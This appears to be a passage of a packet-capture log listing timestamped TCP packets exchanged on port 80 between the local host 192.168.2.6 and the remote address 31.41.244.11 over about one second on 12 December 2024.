Dec 12, 2024 21:50:45.878382921 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.882709980 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.882822037 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.887151957 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.887172937 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.888719082 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:45.891695023 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.891856909 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.893163919 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:45.896013021 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.896127939 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.898261070 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:45.900470018 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.900651932 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.904843092 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.904913902 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:45.904979944 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.909410954 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.909523010 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.913691998 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.913733006 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.918184042 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.918288946 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.918452978 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:45.922379971 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.922516108 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.926789045 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.926899910 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.931180954 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.931350946 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.935602903 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.935678959 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.938613892 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:45.957861900 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.957904100 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.958756924 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:45.960050106 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.960151911 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.962552071 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:45.964843035 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:45.966423988 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.023272038 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.023346901 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.025430918 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.025705099 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.029917002 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.029999971 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.031877041 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.034219027 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.034316063 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.035640001 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.038392067 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.038743019 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.039433956 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.042673111 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.042851925 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.046911955 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.047255039 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.049700022 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.049786091 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.052476883 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.052701950 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.055217981 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.055398941 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.058064938 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.058161974 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.059647083 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.060707092 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.060781002 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.063577890 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.063688993 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.065691948 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.065864086 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.066360950 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.066411972 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.066416025 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.067889929 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.068873882 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.068953991 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.069324017 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.071449995 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.071557999 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.071577072 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.072412968 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.074006081 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.074245930 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.076530933 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.076631069 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.078505039 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.079219103 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.079363108 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.079397917 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.079489946 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.081789970 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.081845045 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.082036972 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.084419966 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.084474087 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.086354017 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.086488008 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.088404894 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.088496923 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.090358973 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.090508938 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.090665102 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.092504025 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.092540026 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.094553947 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.094675064 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.096566916 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.096668005 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.098512888 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.098727942 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.099961996 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.100444078 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.100575924 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.102515936 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.102835894 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.104494095 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.104720116 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.106563091 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.106659889 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.108639956 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.108834028 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.109175920 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.109221935 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.110470057 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.110557079 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.215382099 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.215425968 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.215455055 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.215528011 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.215871096 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.215923071 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.216126919 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.216167927 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.217433929 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.217482090 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.217509031 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.217546940 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.219371080 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.219422102 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.219471931 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.219520092 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.221230030 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.221318007 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.221416950 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.221837997 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.223141909 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.223311901 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.225070000 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.225184917 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.226864100 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.226972103 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.228626966 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.228841066 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.230365992 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.230546951 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.232192993 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.232359886 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.234091043 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.234198093 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.235621929 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.235686064 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.237004042 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.237121105 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.238528967 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.238593102 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.240127087 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.240272999 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.241276026 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.241554976 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.241678953 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.243083954 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.243246078 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.244652033 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.244771004 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.246145964 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.246310949 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.246992111 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.246993065 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.247016907 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.247292042 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.247653008 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.247807980 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.247876883 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.249200106 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.249242067 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.249315023 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.249355078 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.250695944 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.250735998 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.250823021 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.250859976 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.252228022 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.252274990 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.252358913 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.252403021 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.253776073 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.253822088 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.253943920 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.253992081 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.255295038 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.255374908 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.255419970 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.255479097 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.256846905 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.256892920 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.256942987 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.256987095 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.258387089 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.258439064 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.258472919 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.258513927 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.259880066 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.259929895 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.259999990 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.260044098 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.261425972 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.261533976 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.262408018 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.262940884 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.263001919 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.263112068 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.263159990 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.264478922 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.264522076 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.264578104 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.264628887 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.266031027 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.266073942 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.266113997 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.266205072 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.267591000 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.267632961 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.267635107 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.267673016 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.269023895 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.269067049 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.269160986 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.269202948 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.270538092 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.270580053 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.270631075 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.270672083 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.272099018 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.272145987 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.272183895 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.272228003 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.273643017 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.273672104 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.273690939 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.273705959 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.275126934 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.275171041 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.275218964 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.275259972 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.276683092 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.276736975 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.276737928 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.276779890 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.278243065 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.278291941 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.278326988 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.278372049 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.279716015 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.279762030 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.279798985 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.279845953 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.281223059 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.281269073 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.281315088 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.281359911 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.282784939 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.282881021 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.284359932 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.284465075 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.285832882 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.285963058 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.286371946 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.287395000 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.287529945 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.288943052 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.288965940 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.289210081 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.289252043 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.289766073 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.290425062 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.290472984 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.290539026 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.290585041 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.291955948 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.292006969 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.292083025 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.292128086 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.293488026 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.293586969 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.293664932 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.293713093 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.295022964 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.295074940 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.295208931 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.295254946 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.296556950 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.296607971 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.296664953 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.296715975 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.408046961 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.408191919 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.408524036 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.408744097 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.409975052 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.410032988 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.411446095 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.411500931 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.412961006 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.413103104 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.414216042 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.414294004 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.414887905 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.414887905 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.415267944 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.415380955 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.416423082 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.416475058 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.417711020 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.417850018 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.418894053 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.419028997 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.420058012 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.420181036 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.421102047 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.421200991 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.422179937 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.422255993 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.422826052 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.423182964 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.423496962 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.424443960 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.424541950 CET	80	49971	31.41.244.11	192.168.2.6
